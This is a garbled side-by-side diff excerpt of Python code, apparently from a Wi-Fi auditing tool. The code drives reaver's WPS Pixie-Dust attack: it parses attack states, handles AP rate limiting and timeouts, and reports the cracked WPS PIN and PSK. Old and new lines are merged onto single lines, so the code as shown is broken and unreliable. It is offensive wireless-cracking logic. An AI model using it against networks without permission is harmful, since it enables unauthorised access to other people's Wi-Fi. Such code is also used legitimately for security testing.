Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else: else:
time_since_last_step += 1 self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
if time_since_last_step > Configuration.wps_pixie_step_timeout: crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) crack_result.dump()
break return crack_result
# TODO: Timeout check return None
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
Color.clear_line() def parse_failure(self, stdout):
Color.pattack("WPS", airodump_target, "Pixie-Dust", step) # Total failure
if 'WPS pin not found' in stdout:
raise Exception('Reaver says "WPS pin not found"')
time.sleep(1) # Running-time failure
continue if self.running_time() > Configuration.wps_pixie_timeout:
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
# WPSFail count
self.total_wpsfails = stdout.count('WPS transaction failed')
if self.total_wpsfails >= Configuration.wps_fail_threshold:
raise Exception('Too many failures (%d)' % self.total_wpsfails)
# Timeout count
self.total_timeouts = stdout.count('Receive timeout occurred')
if self.total_timeouts >= Configuration.wps_timeout_threshold:
raise Exception('Too many timeouts (%d)' % self.total_timeouts)
def parse_state(self, stdout):
state = self.state
stdout_last_line = stdout.split('\n')[-1]
if 'Waiting for beacon from' in stdout_last_line:
state = 'Waiting for beacon'
elif 'Associated with' in stdout_last_line:
state = 'Associated'
elif 'Starting Cracking Session.' in stdout_last_line:
state = 'Waiting to try PIN'
elif 'Trying pin' in stdout_last_line:
state = 'Trying PIN'
elif 'Sending EAPOL START request' in stdout_last_line:
state = 'Sending EAPOL Start request'
elif 'Sending identity response' in stdout_last_line:
state = 'Sending identity response'
self.locked = False
elif 'Sending M2 message' in stdout_last_line:
state = 'Sending M2 / Running pixiewps'
self.locked = False
elif 'Detected AP rate limiting,' in stdout_last_line:
state = 'Rate-Limited by AP'
self.locked = True
return state
def pattack(self, message, newline=False):
# Print message with attack information.
time_left = Configuration.wps_pixie_timeout - self.running_time()
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline:
Color.pl("")
def running_time(self):
return int(time.time() - self.start_time)
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
@staticmethod @staticmethod
def get_pin_psk_ssid(stdout): def get_pin_psk_ssid(stdout):
@@ -196,12 +270,21 @@ class Reaver(Attack):
return (pin, psk, ssid) return (pin, psk, ssid)
def get_stdout(self):
''' Gets output from stdout_file ''' def get_output(self):
if not self.stdout_file: ''' Gets output from reaver's output file '''
if not self.output_filename:
return '' return ''
with open(self.stdout_file, 'r') as fid:
if self.output_write:
self.output_write.flush()
with open(self.output_filename, 'r') as fid:
stdout = fid.read() stdout = fid.read()
if Configuration.verbose > 1:
Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n')))
return stdout.strip() return stdout.strip()